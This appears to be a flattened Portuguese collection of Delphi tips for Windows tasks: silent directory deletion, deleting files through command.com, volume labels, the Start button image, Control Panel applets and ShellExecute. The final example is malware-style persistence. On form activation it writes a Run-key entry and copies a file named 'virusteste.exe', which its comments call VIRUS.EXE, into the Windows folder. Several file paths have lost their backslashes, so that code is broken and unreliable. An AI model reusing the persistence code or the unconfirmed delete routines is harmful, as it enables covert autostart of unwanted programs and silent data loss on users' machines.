\hkey_current_user\software\microsoft\windows\currentversion\explorer\menuorder\start menu\&programs Apagar um subdiretório Inclua a unit SHELLAPI na clausula uses do seu form. procedure DeleteDir( hHandle : THandle; Const sPath : String ); var OpStruc: TSHFileOpStruct; FromBuffer, ToBuffer: Array[0..128] of Char; begin fillChar( OpStruc, Sizeof(OpStruc), 0 ); FillChar( FromBuffer, Sizeof(FromBuffer), 0 ); FillChar( ToBuffer, Sizeof(ToBuffer), 0 ); StrPCopy( FromBuffer, sPath); With OpStruc Do Begin Wnd:= hHandle; wFunc:=FO_DELETE; pFrom:= @FromBuffer; pTo:= @ToBuffer; fFlags:= FOF_NOCONFIRMATION; fAnyOperationsAborted:=False; hNameMappings:=nil; //lpszProgressTitle:=nil; End; ShFileOperation(OpStruc); end; Utilize a função assim: procedure TForm1.Button1Click(Sender: TObject); begin DeleteDir( Self.Handle,'C:TESTE'); end; Apagar arquivos via MS-DOS WinExec('Command.com /c Del c: emp*.tmp', 0) Alterar o nome de volume (Label) de um disco Inclua na seção uses: Windows { Da unidade C: } SetVolumeLabel('c:', 'NovoLabel'); { Da unidade atual: } SetVolumeLabel(nil, 'NovoLabel'); Alterar o ícone do botão iniciar do Windows Variáveis globais do form: var Form1: TForm1; Iniciar : hWnd; OldBitmap : THandle; NewImage : TPicture; No Oncreate do Form: procedure TForm1.FormCreate(Sender: TObject); begin NewImage:=TPicture.create; NewImage.LoadFromFile('C:Delphi3ImagesDEFAULTOutOpen.BMP'); Iniciar := FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil); OldBitmap:=SendMessage(Iniciar,BM_SetImage,0,NewImage.Bitmap.Handle); end; No OnDestroy procedure TForm1.FormDestroy(Sender: TObject); begin SendMessage(Iniciar,BM_SetImage,0,OldBitmap); NewImage.Free; end; Abrir as configurações do Vídeo do Painel de Controle WinExec('RunDLL32.exe Shell32.DLL,Control_RunDLL Desk.cpl', SW_Show) Os outros itens do Painel de Controle podem ser acessados mudando-se o nome do arquivo .cpl, exemplo: - Modem.cpl - Netcpl.cpl Abrir arquivos com aplicativo associado Inclua a unit SHELLAPI na clausula uses do seu form. procedure TForm1.ExecFile(F: String); var r: String; begin case ShellExecute(Handle, nil, PChar(F), nil, nil, SW_SHOWNORMAL) of ERROR_FILE_NOT_FOUND: r := 'The specified file was not found.'; ERROR_PATH_NOT_FOUND: r := 'The specified path was not found.'; ERROR_BAD_FORMAT: r := 'The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).'; SE_ERR_ACCESSDENIED: r := 'Windows 95 only: The operating system denied access to the specified file.'; SE_ERR_ASSOCINCOMPLETE: r := 'The filename association is incomplete or invalid.'; SE_ERR_DDEBUSY: r := 'The DDE transaction could not be completed because other DDE transactions were being processed.'; SE_ERR_DDEFAIL: r := 'The DDE transaction failed.'; SE_ERR_DDETIMEOUT: r := 'The DDE transaction could not be completed because the request timed out.'; SE_ERR_DLLNOTFOUND: r := 'Windows 95 only: The specified dynamic-link library was not found.'; SE_ERR_NOASSOC: r := 'There is no application associated with the given filename extension.'; SE_ERR_OOM: r := 'Windows 95 only: There was not enough memory to complete the operation.'; SE_ERR_SHARE: r := 'A sharing violation occurred.'; else Exit; end; ShowMessage(r); end; Utilize a função assim: procedure TForm1.Button1Click(Sender: TObject); begin ExecFile('c:windowsladrilhos.bmp'); end; como alterar o registro do windows: unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,Registry, Buttons; type TForm1 = class(TForm) Memo1: TMemo; Button1: TButton; BitBtn1: TBitBtn; // procedure Registro; procedure FormActivate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure BitBtn1Click(Sender: TObject); private { Private declarations } public { Public declarations } Reg: TRegIniFile; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormActivate(Sender: TObject); Begin //Form1.Visible := False; Reg := TRegIniFile.create; Reg.Rootkey := HKEY_LOCAL_MACHINE; //seta a chave principal if reg.OpenKey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',true) then //tenta abrir a chave RUN Begin Reg.WriteString('' , 'MarcosTESTE','virusteste.exe' ); // Cria umnovo valor dentro da chave RUN If not FileExists('c:\windows\virusteste.exe') then WinExec(PChar('command.com /c copy virusteste.exe c:\windows\virusteste.exe'),SW_SHOWMINIMIZED ); // Copia o arquivo VIRUS.EXE para o DIR. do Windows end; end; procedure TForm1.Button1Click(Sender: TObject); begin Reg.WriteString('' , 'MarcosTESTE','' ); If FileExists('c:\windows\virusteste.exe') then WinExec(PChar('command.com /c del c:\windows\virusteste.exe'),SW_SHOWMINIMIZED ); // Copia o arquivo VIRUS.EXE para o DIR. do Windows Application.Terminate; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin reg.CloseKey; Reg.free; end; procedure TForm1.BitBtn1Click(Sender: TObject); begin Application.Terminate; end; end.